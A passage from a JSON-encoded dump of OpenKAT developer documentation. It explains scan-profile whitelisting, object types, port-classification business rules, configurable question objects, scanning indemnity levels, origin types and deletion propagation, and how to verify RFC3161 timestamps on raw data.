f\n\nYielding a ``DeclaredScanProfile``\n**********************************\n\nAdditionally, normalizers can yield a ``DeclaredScanProfile``.\nThis is useful if you want to avoid the manual work of raising these levels through the interface for new objects.\nPerhaps you have a trusted source of IP addresses and hostnames you are allowed to scan intrusively.\nOr perhaps you do not have intrusive boefjes enabled and always want to perform a DNS scan on new IP addresses.\n\nAs an example, see these lines in `kat_external_db/normalize.py`:\n\n.. code-block:: python\n\n  def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n   ...\n   yield ip_address\n   yield DeclaredScanProfile(reference=ip_address.reference, level=3)\n\n\nThis indicates that the ip_address should automatically be assigned a declared scan profile of level 3.\n\nThe safeguard here is that you `always` need to specify which normalizers are allowed to add these scan profiles.\nThis must be done through the ``SCAN_PROFILE_WHITELIST`` environment variable, which is a json-encoded mapping\nof normalizer ids to the `maximum` scan level they are allowed to set.\nAn example value would be ``SCAN_PROFILE_WHITELIST='{\"kat_external_db_normalize\": 2}'``.\n\nWhen a higher level has been yielded, it will be lowered to the maximum.\nCombining the code and whitelist above would therefore be equivalent to combining this code with the whitelist:\n\n.. code-block:: python\n\n  def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n   ...\n   yield ip_address\n   yield DeclaredScanProfile(reference=ip_address.reference, level=2)\n\n\nOf course, when the normalizer id is not present in the whitelist, the yielded scan profiles are ignored.\n\n\nAdding object-types\n===================\n\nIf you want to add an object-type, you need to know with which other object-types there is a logical relationship. An object-type is as simple as possible. As a result, a seemingly simple query sometimes explodes into a whole tree of objects.\n\nAdding object-types to the data model requires an addition in octopus. Here, an object-type can be added if it is connected to other object-types. Visually this is well understood using the `Graph explorer <https://mispo.es/model-explorer/model-explorer.html>`_. The actual code is `in the Octopoes repo <https://github.com/minvws/nl-kat-octopoes/tree/main/octopoes/models/ooi>`_.\n\nAs with the boefje for Shodan, here we again use the example from the functional documentation. A description of an object-type in the data model, in this case an IPPort, looks like this:\n\n\n.. code-block:: python\n\n class IPPort(OOI):\n    object_type: Literal[\"IPPort\"] = \"IPPort\"\n\n    address: Reference = ReferenceField(IPAddress, max_issue_scan_level=0, max_inherit_scan_level=4)\n    protocol: Protocol\n    port: conint(gt=0, lt=2 ** 16)\n    state: Optional[PortState]\n\n    _natural_key_attrs = [\"address\", \"protocol\", \"port\"]\n    _reverse_relation_names = {\"address\": \"ports\"}\n    _information_value = [\"protocol\", \"port\"]\n\n\nHere it is defined that to an ``IPPort`` belongs an ``IPAddress``, a ``Protocol`` and a ``PortState``.\nIt also specifies how scan levels flow through this object-type and specifies the attributes that format the primary/natural key: \"_natural_key_attrs = [\"address\", \"protocol\", \"port\"]\".\nMore explanation about scan levels / indemnities follows later in this document.\n\nThe PortState is defined separately. This can be done for information that has a very specific nature so you can describe it.\n\n.. code-block:: python\n\n class PortState(Enum):\n    OPEN = \"open\"\n    CLOSED = \"closed\"\n    FILTERED = \"filtered\"\n    UNFILTERED = \"unfiltered\"\n    OPEN_FILTERED = \"open|filtered\"\n    CLOSED_FILTERED = \"closed|filtered\"\n\nBits: businessrules\n===================\n\nBits are businessrules that assess objects. Which ports are allowed to be open, which are not, which software version is acceptable, which is not. Does a system as a whole meet a set of requirements associated with a particular certification or not? Some bits are configurable through a specific 'question object', which is explained below.\n\nIn the hostname example, that provides an IP address, and based on the IP address, we look at which ports are open. These include some ports that should be open because certain software is running and ports that should be closed because they are not used from a security or configuration standpoint.\n\nThe example below comes from the functional documentation and discusses the Bit for the IPPort object. The bit used for the analysis of open ports consists of three files:\n\n- __init.py__, an empty file\n- bit.py, which defines the structure\n- port_classification.py, which contains the business rules\n\nBit.py gives the structure of the bit, containing the input and the businessrules against which it is tested. An example is included below. The bit consumes input objects of type IPPort:\n\n\n.. code-block:: python\n\n from bits.definitions import BitParameterDefinition, BitDefinition\n from octopoes.models.ooi.network import IPPort, IPAddress\n\n BIT = BitDefinition(\n    id=\"port-classification\",\n    consumes=IPPort,\n    parameters=[],\n    module=\"bits.port_classification.port_classification\",\n )\n\nThe businessrules are contained in the module *port_classification*, in the file *port_classification.py*. This bit grabs the IPPort object and supplies the KATFindingType and Finding objects. The businessrules in this case distinguish three types of ports: the COMMON_TCP_PORTS that may be open, SA_PORTS that are for management purposes and should be closed, and DB_PORTS that indicate the presence of certain databases and should be closed.\n\nThe specification for a bit is broad, but limited by the data model: Whereas Boefjes are actively gathering information externally, bits only look at the existing objects they receive from Octopus. Analysis of the information can then be used to create new objects, such as the KATFindingTypes which in turn correspond to a set of specific reports in OpenKAT.\n\n.. code-block:: python\n\n from typing import List, Iterator\n\n from octopoes.models import OOI\n from octopoes.models.ooi.findings import KATFindingType, Finding\n from octopoes.models.ooi.network import IPPort\n\n COMMON_TCP_PORTS = [25, 53, 110, 143, 993, 995, 80, 443]\n SA_PORTS = [21, 22, 23, 3389, 5900]\n DB_PORTS = [1433, 1434, 3050, 3306, 5432]\n\n\n def run(\n    input_ooi: IPPort,\n    additional_oois: List,\n ) -> Iterator[OOI]:\n\n    port = input_ooi.port\n    if port in SA_PORTS:\n        open_sa_port = KATFindingType(id=\"KAT-OPEN-SYSADMIN-PORT\")\n        yield open_sa_port\n        yield Finding(\n            finding_type=open_sa_port.reference,\n            ooi=input_ooi.reference,\n            description=f\"Port {port} is a system administrator port and should not be open.\",\n        )\n\n    if port in DB_PORTS:\n        ft = KATFindingType(id=\"KAT-OPEN-DATABASE-PORT\")\n        yield ft\n        yield Finding(\n            finding_type=ft.reference,\n            ooi=input_ooi.reference,\n            description=f\"Port {port} is a database port and should not be open.\",\n        )\n\n    if port not in COMMON_TCP_PORTS and port not in SA_PORTS and port not in DB_PORTS:\n        kat = KATFindingType(id=\"KAT-UNCOMMON-OPEN-PORT\")\n        yield kat\n        yield Finding(\n            finding_type=kat.reference,\n            ooi=input_ooi.reference,\n            description=f\"Port {port} is not a common port and should possibly not be open.\",\n        )\n\nBits can recognize patterns and derive new objects from them.\n\nFor example: The Bit for *internet.nl* can thus deduce from a series of objects whether a particular site meets the requirements of internet.nl or not. This bit retrieves findings from a series of items and draws conclusions based on them. The analysis underlying this is built up from small steps, which go around OpenKAT several times before enough information is available to draw the right conclusions:\n\n.. code-block:: python\n\n\tfrom bits.definitions import BitParameterDefinition, BitDefinition\n\tfrom octopoes.models.ooi.dns.zone import Hostname\n\tfrom octopoes.models.ooi.findings import Finding\n\tfrom octopoes.models.ooi.web import Website\n\n\tBIT = BitDefinition(\n\t    id=\"internet-nl\",\n\t    consumes=Hostname,\n\t    parameters=[\n\t        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi\"),  # findings on hostnames\n\t        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi.website.hostname\"),  # findings on resources\n\t        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi.resource.website.hostname\"),  # findings on headers\n\t        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi.hostname\"),  # findings on websites\n\t        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi.netloc\"),  # findings on weburls\n\t        BitParameterDefinition(ooi_type=Website, relation_path=\"hostname\"),  # only websites have to comply\n\t    ],\n\t    module=\"bits.internetnl.internetnl\",\n\t)\n\n\nConfigurable bits\n=================\n\nAs policy differs per organization or situation, certain bits can be configured through the webinterface of OpenKAT. Currently the interface is quite rough, but it provides the framework for future development in this direction.\n\nQuestion object\n---------------\n\nConfigurable bits require a place where the configuration is stored. It needs to be tracable, as the configuration is important when judging the results of a scan. The solution is to store the config in the graph.\n\nWhen a relevant object is created, a configurable bit throws a question object at the user. This question can be answered with a json file or through the webinterface. The configuration of the bit is then stored as an object in the graph.\n\nMy first question object\n------------------------\n\nUnder 'Objects', create a network object called 'internet'. Automagically a question object will be created. You will be able to find it in the objects list. If you already have a lot of objects, filter it using the 'question' objecttype.\n\nThe question object allows you to customize the relevant parameters. At the time of writing, the only configurable bit is IPport. This allows you to change the allowed ports on a host.\n\nOpen the question object, answer the questions and store the policy of your organization. Besides the allowed and not allowed ports, this bit also has the option to aggregate findings directly.\n\nThe IPport question object has five fields:\n\nAllowed:\n\n- common udp ports\n- common tcp ports\n\nNot allowed:\n\n- sa ports (sysadmin)\n- db ports (database)\n\nFindings:\n\n- aggregate findings\n\n\n.. image:: img/questionobject.png\n  :alt: Question object\n\nAfter adding the relevant information, your question object will be stored and applied directly. It can be changed or added through the webinterface.\n\nWhat happens in the background?\n-------------------------------\n\nThe question object is more than just a tool to allow or disallow ports, it is the framework for future development on configurations. A configurable ruleset is a basic requirement for a system like OpenKAT and we expect it to evolve.\n\nThe dataflow of the question object works as per this diagram:\n\n.. mermaid::\n\n   sequenceDiagram\n      participant User\n      participant Rocky\n      participant Normalizer\n      participant Octopoes\n      participant Bits\n      participant Bytes\n\n    Normalizer->>Octopoes: Add Network\n    Bits->>Octopoes: Add Question[\"What ports may be open for this Network?\"]\n    Rocky->>Octopoes: Get Question\n    Rocky->>User: Prompt Question to user\n    User->>Rocky: Give answer (form)\n    Rocky->>Bytes: Add answer (json) to Bytes\n    Bytes->>Normalizer: Read answer\n    Normalizer->>Octopoes: Create Config\n    Bits->>Octopoes: Read Config\n\nAfter the relevant object has been created, within the normal flow of OpenKAT a question object will be created. The advantage of this is to store all relevant data in the graph itself, which allows for future development.\n\nAdvantages and outlook\n----------------------\n\nStoring the configs in the graph is a bit more complex than just using a config file which can be edited and reloaded at will. The advantage of storing the configuration in the graph is that it allows the user to see from when to when a certain configuration was used within OpenKAT.\n\nIn the future, one goal is to have 'profiles' with a specific configuration that can be deployed automagically. Another wish is to add scope to these question objects, relating them to specific objects or for instance network segments.\n\nAdding Boefjes\n==============\n\nThere are a number of ways to add your new boefje to OpenKAT.\n\n- Put your boefje in the local folder with the other boefjes, as described in :doc:`/developer-documentation/development-tutorial/creating-boefje`\n- Contribute to the project\n- Create and release your own OCI image, as described in :doc:`/developer-documentation/development-tutorial/creating-boefje`, and add your boefje in the KAT catalog.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/boefjes.rst",
    "content": "=======\nBoefjes\n=======\n\nComing soon!\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/index.rst",
    "content": "Basic principles\n################\n\nContains references to the documentations of the Basics of OpenKAT\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   introduction\n   modules\n   boefjes\n   origin-types\n   bits\n   normalizers\n   questions-and-configs\n   boefjes-whiskers-bits\n   verify-timestamps\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/introduction.rst",
    "content": ".. _basics-of-openkat:\n\n=================\nBasics of OpenKAT\n=================\n\nGeneral notes\n=============\n\nOpenKAT aims to monitor, record and analyze the status of information systems. OpenKAT scans networks, analyzes vulnerabilities and creates accessible reports. It integrates the most widely used network tools and scanning software into a modular framework, accesses external (public) databases such as Shodan and combines the information from all these sources into clear reports.\n\nWhat OpenKAT adds to the available security and monitoring tools is the ability to combine the output from different sources for the purpose of analysis. Thanks to its object-oriented data model and forensically secured database, OpenKAT contains a complete overview and timeline of monitored systems. This makes the development through time insightful for analysis and provable for audits and controls.\n\n.. image:: img/stappenopenkat.png\n  :alt: steps in OpenKAT\n\nOpenKAT uses a configurable data model. All information is translated into objects, which are stored in the database. This contains both the original information and the objects. Analysis is done on the database based on business rules, observing changes with previous points in time. OpenKAT delivers findings in a dashboard or via reporting software.\n\n\nBasic concepts\n==============\n\nCentral to OpenKAT are objects and the data model. Objects (or 'Objects Of Interest, OOI') are created by collecting and analyzing information. The objects found are analyzed using business rules, leading to findings that are included as objects in the data model.\n\nThe data model helps in the search for more information, through the logical coherence of objects. Object types are defined in the data model. When an object is found, OpenKAT automatically checks whether related objects are also present. Based on this, it searches for information again, completing the circle.\n\nObjects, the data model and recursion\n*************************************\n\nThe information collected by OpenKAT is stored as objects. For example, an object is \"an IP address\" or \"a hostname\". If there is a hostname, based on the data model, OpenKAT also expects an IP address and possible open ports.\n\nDepending on the clearance or indemnification given this is then scanned for, which in turn yields more information, which in turn can trigger new scans. This process continues until OpenKAT has searched the entire data model for this hostname. How far OpenKAT goes in searching depends on the clearances.\n\n.. image:: img/flowopenkat.png\n  :alt: flow of OpenKAT\n\nThe basic installation of OpenKAT includes a data model based on networks and information systems. The system has scanning software to map, analyze and report on networks. The strength of OpenKAT is that it is modular and easy to expand. This can be done based on the existing data model. It can also be extended to other domains, for example in the area of compliance, as long as there is a logical coherence of information.\n\nOpenKAT checks key aspects of configuration, accessibility and presence of vulnerabilities. In addition, the premise is that changes should be noticed: after all, a change is a peculiarity, which can signal a security risk. The temporal database used by OpenKAT also makes it possible to look back, that is, \"from when to when\" a particular situation occurred.\n\nIndemnification\n***************\n\nOpenKAT works with a system of indemnities for scanning, linked to intrusion levels. An organization gives an indemnification for a certain intensity of scan. For each intrusion level, the level is specified, in order to prevent unexpected problems for a production system.\n\nIntrusion levels or indemnities:\n\n:L0: 'do nothing: do not touch and don't gather information about this object'.\n\n:L1: 'retrieve information from public sources, but don't touch the object itself'.\n\n:L2: 'touch at normal user level'.\n\n:L3: 'detectable scanning'.\n\n:L4: 'intensive scanning'.\n\nIf scanning with OpenKAT poses a risk then it applies to all actors who have access to this particular system and this would already be worthy of a finding.\n\nUsers and organizations\n***********************\n\nScanning and reporting in OpenKAT are different systems with separate users. The red team user issues the command and determines the safeguard, the reporting user has read access and views the results.\n\n:Red team user: Gives the system a certain command and safeguard ('scan this network, with this intrusion level'). Based on this, OpenKAT collects information.\n\n:Reporting user: Has read only access to the objects, can look through time at the performed scans and see what findings the system has created.\n\nSystem design\n=============\n\nThe system has four parts: information collection, storage, analysis and reporting.\n\n.. image:: img/modulesopenkat.png\n  :alt: modules in OpenKAT\n\nCollection: Boefjes and Whiskers\n********************************\n\nBoefjes collect the information for OpenKAT. They are scripts that can call a tool or collect information themselves. Whiskers are the normalizers that try to filter out objects. These objects fit the data model being used. The scheduler \"Mula\" deploys boefjes depending on the query, the available clearance (the \"intrusion level\") and the information found. Thus, a scan leads to new data, which produces findings based on the business rules. This in turn can lead to new deployment of boefjes, who scan additional parts of a system.\n\nStorage: Bytes and Octopoes\n***************************\n\nObjects are stored in Octopoes, the database of objects accessible for analysis. Here objects can be viewed in logical context and over time. All original information, along with metadata, is stored separately in Bytes. This can be used to verify the creation of objects and findings.\n\nBytes stores all original information including the full metadata in timestamped and signed records. This makes the observation by OpenKAT and the process that led to an object and any conclusions reproducible and traceable, which is also called forensic assurance. The metadata also includes, for example, the software version of OpenKAT, of the boefjes and of any external scanning tools, so that it is possible to trace why certain observations were or were not made.\n\nThe standard installation of Octopoes includes a data model suitable for information security. This can be supplemented or adapted to the specific situation in which OpenKAT is used. There are already parties involved in the development phase that want to use OpenKAT for checking certain administrative aspects of certification, which fits well with the current application.\n\nAnalysis: Bits\n**************\n\nThe objects in the database can be analyzed using business rules, which are included in Bits. For example, a list of open ports associated with an IP address is fine in one situation, but leads to a finding in another. A finding associated with a particular object is also stored as an object in Octopoes, and can lead to more scans or other actions. Bits, like Boefjes and Whiskers, are modular, customizable and easy to add. A finding based on a business rule can lead to additional scans or actions from OpenKAT.\n\nReports\n*******\n\nReports can be created in a couple of ways. In the standard installation of OpenKAT, there are a number of options for creating reports: by object and thematically. For example, there are findings reports with all findings based on the business rules such as:\n\n- configurations\n- old software\n- ports\n- missing headers\n- SSL problems and certificates\n- SPF and mail configuration\n\nOpenKAT can generate reports in a number of formats, including LaTeX and PDF. An API is also available that can interface with other systems.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/modules.rst",
    "content": "=======\nModules\n=======\n\nOpenKAT consists of individual modules, each of which performs a subtask of the system. The modules are specific to OpenKAT. Rocky is the frontend, Mula is the scheduler, Bytes the storage of raw data, Octopoes contains the data model and Boefjes and Whiskers and are separate components stored in the KATalogus. OpenKAT uses Manon for the design in order to easily comply with accessibility and style requirements.\n\nThe overarching concept of OpenKAT is explained in the section :ref:`basics-of-openkat`. The explanation centers around the image below. All modules of OpenKAT can be found there, except for our web interface and styling modules Rocky and Manon.\n\n.. image:: https://docs.openkat.nl/_images/stappenopenkat.png\n\nThe source code and technical documentation is included for each module in its own github repository. This document refers to these repos and their documentation. If you have any questions, please contact the team, see 'Contact' in the readme of the NL-KAT-Coordination repo.\n\nRocky - frontend\n================\n\nRocky is the front end for OpenKAT and based on a Django framework. Through Rocky, OpenKAT can be accessed. It provides a user interface for all information present in the system. It is also possible to access OpenKAT only through the APIs.\n\n`Rocky <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/rocky>`_ is the folder containing Rocky's source code and documentation.\n\nMula - scheduler\n================\n\nMula is the scheduler, which controls OpenKAT. Mula has extensive technical documentation and design schematics.\n\n`Mula <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/mula>`_ is the folder containing Mula's source code and documentation.\n\nOctopoes - datamodel\n====================\n\nOctopoes contains the data model with object-types and the XTDB with all objects. The documentation accompanying Octopoes covers the technical side of the logic behind OpenKAT and includes extensive information for people who want to work with the data model themselves.\n\n`Octopoes <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/octopoes>`_ is the folder containing the source code and documentation of Octopoes.\n\nBytes - raw data storage\n========================\n\nBytes is a relatively simple datastore for the raw data provided by OpenKAT. In addition to storage, Bytes also handles assurance by having a timestamp created from the stored data.\n\n`Bytes <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/bytes>`_ is the repository containing Bytes' source code and documentation.\n\nBoefjes and whiskers - scanners and normalizers\n===============================================\n\nThe KATalog contains all boefjes and whiskers. The KATalog is easy to add new boefjes and normalizers. The general documentation contains some pointers for writing boefjes. The team is happy to help you if you want to get started with these. The readme of `NL-KAT-Coordination repo <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination>`_. contains all the ways to contact the team.\n\n`Boefjes <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/boefjes>`_ is the folder containing the source code and documentation of Boefjes, Whiskers and Bits.\n\nManon - styling\n===============\n\nContent and form are separated in Rocky. The form is contained in Manon, which as far as OpenKAT is applied in the context of the central government helps to comply with the central government house style. For Web sites outside this context, Manon is also applicable, but with a different style.\n\n`NL-RDO-Manon <https://github.com/minvws/nl-rdo-manon>`_ is the repository containing Manon's source code.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/normalizers.rst",
    "content": "===========\nNormalizers\n===========\n\nBurp Suite\n==========\n\nUploading output from BurpSuite can only be done with paid versions (Professional). The community version doesn't have the required export functionality.\n\nThe `official BurpSuite documentation for this functionality can be found here: <https://portswigger.net/burp/documentation/desktop/getting-started/generate-reports>`_.\n\nIn general the approach is:\n\n- Under Target > Site map, select all objects/hosts you wish to export.\n- Right click and select Issues > Report issues for this host.\n- Follow the wizard. Make sure you export the file to XML.\n\nIn your OpenKAT browser tab:\n- Click on 'Objects > Upload raw file' or go through the Katalogus: Katalogus > Burpsuite normalizer. Under the tab 'Consumes' click on the 'xml/burp-export' link. The mime-type should be automatically filled in.\n- Select the burp raw file. As mime-type use `xml/burp-export`.\n- Click the 'Upload raw' button.\n\nThe burp file will upload and be processed by OpenKAT.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/origin-types.rst",
    "content": ".. _basics-origin-types:\n\nOrigin types\n============\n\nEach object in OpenKAT has an origin. An origin connects an object, such as a hostname, to the objects produced by a task that used this object as an input, such as a dns-scan.\nThe produced objects are called the origin's \"output\", and we say that each object in the output is \"proven\" by its origin.\nIn OpenKAT, each valid object should therefore be in at least (the output of) one origin: else, it is no longer proven.\nEquivalently, each valid origin should have a proven input object: origins for which the input has disappeared are themselves no longer proven.\nObjects and origins that are no longer proven should be deleted.\nThis is the basis of our garbage collection process that we call \"deletion propagation\": deleting an object could trigger the deletion of multiple origins, which in turn could trigger the deletion of multiple objects, etc.\n\nThere are 4 different origin types depending on how the origin was created and how deletion propagation should treat it:\n\n* **Observation**: observations are made by a (boefje and) normalizer. By definition, observed objects are proved as long as their input object of their observation exists.\n* **Inference**: inferences are like observations objects, but come from bits or nibbles: bits and nibbles only query additional information from our own object database and are therefore \"pure\" operations on an object database. Inferencing should in real-time.\n* **Declaration**: declaration \"circular\" origins: an origin where the output is its input object. As a consequence, both the declaration and input/output object are not targeted by deletion propagation and can only be removed manually. Therefore, objects added manually by users are declared objects. These are often hostnames, URLs or IP-addresses the user wants to use as a starting point for scans by boefjes.\n* **Affirmation**: affirmed objects provide additional information about an object, but don't prove its existence. This is the case when one boefje/normalizer finds CVE findings, and another boefje imports a large dataset of fresh CVE information (description and score) that needs to be added to the CVE Findings. If the observation for the CVE object disappears (e.g. the CVE is resolved), the affirmation should obviously not prevent the removal of the CVE object.\n\nTo conclude, deletion propagation could be summarized as:\n\n1. When an object is deleted, delete all origins that has this object as input.\n2. When an origin is deleted, delete all objects in its output that do not have another origin that is not an Affirmation.\n\nThese two steps form a recursive algorithm that terminates even when the object database has a cycle (a chain of objects and origins, or \"path\", where the original object appears in the output of the last origin), because after step 1 the deleted object is also removed from all origin outputs.\n\nStill, it is theoretically possible that a cycle exists where none of the objects has a path back to a declared object.\nAlthough we are considering solutions to tackle this edge-case with more sophisticated deletion propagation, in practice these instances are rare and often easily solved by deleting one of the objects in the cycle manually.\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/questions-and-configs.rst",
    "content": "Questions & Configs\n===================\nOpenKAT can be used to customise OpenKAT to your own company policies and industry standards. This will allow you to set your security more or less strict depending on your needs and wishes. This can be done using the Question objects on the Objects page. By default no policies are applied. In order to set an policy you have to answer the policy questions and apply these. After applying the questions a Config is created which contains all the answers to your Questions. OpenKAT reads the applied Config files and ensures that all observations are measured against your applied policy.\n\nTo summarize: your personal policy is stored in Configs. In order to create a Config you have to answer the Questions. After answering all questions the Config is automatically generated and applied. Questions consist of a JSON schema, which is rendered as a form in the web interface.\n\nCurrently the following pre-defined policies are available:\n\n- Disallowed hostnames in the CSP header\n- Objects in the HTTP headers\n- Port classification\n\n\nDisallowed CSP hostnames\n------------------------\n\n**Why is this question introduced?**\nWebsites often load scripts and content from external servers (e.g. jQuery from a Content Delivery Network (CDN) like Cloudflare). This can be dangerous as you have limited control over the content that is inside the scripts that these external servers are serving. This Question allows you to check if the hostname in the CSP is allowed by your policy.\n\n**What are the risks?**\nLoading external content from websites you do not have control over could result in supply chain attacks. Attackers could serve malicious code (scripts) on CDN networks that is then automatically loaded into the browser of each website visitor.\n\n**Limitations**\nThis question looks only for bad hostnames that are provided by the user (denylist). This means that findings for bad hostnames in the CSP header are only shown for those domains that are added to the list.\n\n**Examples**\nProvide hostnames which are unwanted, separate each hostname by a comma. You can specify the main domain (`bad.com`), subdomains are automatically taken into account (`script.bad.com`).\n\n.. code-block:: RST\n\n   E.g. evil.com, bad.evil.com, attacker.com.\n\nOOIs in headers\n---------------\n\n**Why is this question introduced?**\nSome websites like SSO portals result in new objects on the Objects page for each time a boefje visited the website with a new session token. By specifying which session parameters are used the number of objects will be limited to only the paths on the server.\n\n**What are the risks?**\nThere is no direct impact. This question helps reduce the number of duplicate items in the Objects list and thus helps in getting a better overview.\n\n**Limitations**\nIt only checks for parameters in the URL, headers are ignored. There is currently no way to specify the parameters per hostname.\n\n**Examples**\nProvide the URL parameter that is to be ignored, separate each parameter by a comma. URL parameters can be found in the URL bar after the `?` sign. They are the values after the `&` and before the `=` signs.\n\nThe URL is: `https://example.com/index.php?session_id=12346&search=meow <dontredirect>`_ . This URL has two parameters:`session_id` and `search`, which both have a value (`123456` and `meow`). The parameter and value for `session_id=123456` are expected to clutter the Objects list, as for each new session the value `123456` is different. The next time you visit the website this might be `session_id=43215` and the next time `session_id=958367`. You can reduce the object clutter by adding the parameter `session_id` to the list as this will be the same for each session. Adding the value `123456` will not work, as this will be different each time.\n\n\n\nPort mapping\n------------\n\n**Why is this question introduced?**\nMaps open ports into specific categories based on the services in your environment. You can specify common TCP and UDP ports which will not trigger a finding (such as e-mail server ports). By adding ports to the database (db) and system administrator (sa) lists you tell OpenKAT which ports are likely used in your network. Depending on your port mapping OpenKAT will show different findings if the port is detected. The `aggregate_findings` functionality allows you to group findings by IP address rather than treating them as separate ports.\n\n**What are the risks?**\nThere is no direct impact. This question helps to tune findings to your own demands. Having good insights in your network helps with risk mitigation.\n\n**Limitations**\nIf a port is added to multiple lists the finding for the first list is shown. If a port is added to both sa_tcp_ports and db_tcp_ports, then the finding relating to the system administrator ports is shown, as this is the first in the list.\n\n**Examples**\nEnter ports separated by a comma. Such as: 21,22,3389.\n\n.. image:: img/question-port-mapping.png\n  :alt: Port mapping order\n"
  },
  {
    "path": "docs/source/developer-documentation/basic-principles/verify-timestamps.rst",
    "content": "Trusted timestamps in OpenKAT\n=============================\n\nOpenKAT can use a trusted timestamp provider for the raw data in Bytes. This timestamp provider needs to conform to rfc3161. It can be set in the `Bytes .env file <https://github.com/minvws/nl-kat-coordination/blob/main/bytes/.env-dist>`_.\n\nAbout the protocol\n------------------\n\nThe RFC3161 timestamp protocol is a simple and effective way to add a timestamp to data. The data concerned is hashed to provide an identifier. The hash is uploaded and timestamped by the server. As long as you trust the server, you can prove the data existed at the point in time indicated by the server.\n\nWikipedia has a nice explanation of the protocol, including lovely images:\n\n`https://en.wikipedia.org/wiki/Trusted_timestamping <https://en.wikipedia.org/wiki/Trusted_timestamping>`_\n\nThe `RFC 3161 itself is human readable as well <https://www.ietf.org/rfc/rfc3161.txt>`_\n\nAvailable timestamp servers\n---------------------------\n\nThe .env file in Bytes specifies a time stamp server. The default specification is empty in order to prevent you from querying an external server without prior knowledge. OpenKAT will sign the data itself but for proper timestamping an external server is required. `Find a list of public servers here <https://github.com/trbs/rfc3161ng>`_.\n\nAdd the timestamp server address and the certificate to the .env file in Bytes and restart OpenKAT. It will automatically use the specified server for all new data.\n\nHow to verify a timestamp?\n--------------------------\n\nThe verification process involves the raw data, the hash from it and the timestamp that was set using this hash. Using the following steps we can verify the data:\n\n* download the raw data\n* verify the hash\n* check the timestamp\n\nDownload the raw data\n*********************\n\nThe raw data of your object can be found in the object page or task that created it. Download the zip file, open it and locate the raw_meta json. Inside are the hash of the data and the retrieval link for the timestamp. In this document we will check an object timestamped with the freetsa.org server, so parts of this example might be different depending on the service you have configured.\n\n* Raw data filename (example): ``[example file name]``\n* JSON filename (example): ``raw_meta_[example file name].json``\n\nVerify the hash\n***************\n\nCheck the hash of the file using the timestamp::\n\n  #!/bin/bash\n\n  timestamp=$(jq -r \".boefje_meta.ended_at\" raw_meta_[example file name].json | python3 -c \"import datetime, sys; print(datetime.datetime.fromisoformat(sys.stdin.readline().strip()).timestamp())\")\n\n  cat [example file name] <(echo $timestamp) | tr -d '\\n' | shasum -a 512\n\nThe result of this should deliver a hash exactly similar to the one in the JSON.\n\nVerify the timestamp\n********************\n\nCheck the timestamp using openssl tools. Add the hash and retrieval link to small files and compare them to the certs from the timestamp service::\n\n  #!/bin/bash\n\n  jq -r \".secure_hash\" raw_meta_[example file name].json | tr -d '\\n' > data_file\n  jq -r \".hash_retrieval_link\" raw_meta_[example file name].json | base64 -d > time_stamp_token\n  wget https://freetsa.org/files/tsa.crt\n  wget https://freetsa.org/files/cacert.pem\n\n  openssl ts -verify -in time_stamp_token -token_in -data data_file -CAfile cacert.pem -untrusted tsa.crt``\n\nThe output of these commands is quite verbose, which makes it possible to follow the steps. If everything is correct and the data has not been changed, you will receive a ``Verification: OK`` as result, confirming the data is correct.\n\nAutomation of the verification process\n**************************************\n\nOpenKAT has been created to automate tedious tasks such as this one. We like to include an automated verification process for objects that includes the entire chain of information, with nice green checkmarks. It is on the roadmap, if you want to contribute to it you are most welcome! Get in touch through meedoen@openkat.nl.\n"
  },
  {
    "path": "docs/source/developer-documentation/boefjes-runner.md",
    "content": "# Design considerations for new boefjes runner\n\nThe new boefjes runner will run boefjes in a containerized environment. This\nensures isolation of code and dependencies, and allows for easy distribution\nof boefjes outside the KAT repository and release cycle.\n\nA boefje can be written in any language, as long as it follows the I/O contract\n(see below) and it is properly packaged in an OCI image.\n\n## Images\n\n[OCI images][oci-spec] will be\nused to package the boefjes' code, its dependencies (libraries) and required\ntools such as Nmap.\n\n[oci-spec]: https://github.com/opencontainers/image-spec/blob/main/spec.md\n\n### Distribution\n\nOCI images can be distributed in any OCI registry, such as Docker Hub or\nGitHub Container Registry. Several open source projects are available to\ncreate a self-hosted OCI registry, such as [Harbor][harbor].\n\nIn the future, boefjes can be imported into the KATalogus using its OCI image URL. It can\nbe pinned to a version-specific tag, SHA256 identifier, or simply use the `latest`\ntag. A JSON list of recommended boefjes will be included with each OpenKAT release,\nor published to https://openkat.nl.\n\n[harbor]: https://goharbor.io/\n\n### Metadata\n\nTo import a boefje into the KATalogus, we need some of its metadata. We can\ndistribute this metadata together with the image by leveraging the [OCI image\nmanifest][oci-manifest-spec]. For example, we could add an annotation to the\nmanifest with a well-known name and predefined format, such as JSON, or add\nmultiple annotations for each metadata attribute.\n\nThe essential metadata includes:\n\n- Name\n- Version\n- Description\n- Image URL\n- Settings schema\n- List of OOI types that the boefje works on\n- Boefjes runner HTTP API version\n- Minimum compatible KAT version (for OOI schema compatibility)\n\n[oci-manifest-spec]: https://github.com/opencontainers/image-spec/blob/main/manifest.md\n\n## I/O\n\nBecause stdin and stdout in container orchestrators are relatively complicated\nand work on a best-effort basis, this is not reliable enough for boefje input\nand output. Also see the [OpenAPI docs](http://localhost:8006/docs),\nwhere you can also find the full [OpenAPI specification](http://localhost:8006/openapi.json).\nKubernetes will for example redirect stdout and stderr to log files\nand will by default rotate the log file when it gets larger than 10 MB. See the\n[Kubernetes logging documentation][kubernetes-logging] for more information\nabout this. Tools like [filebeat][filebeat-kubernetes] also work by mounting the\nhost `/var/log/containers` in the 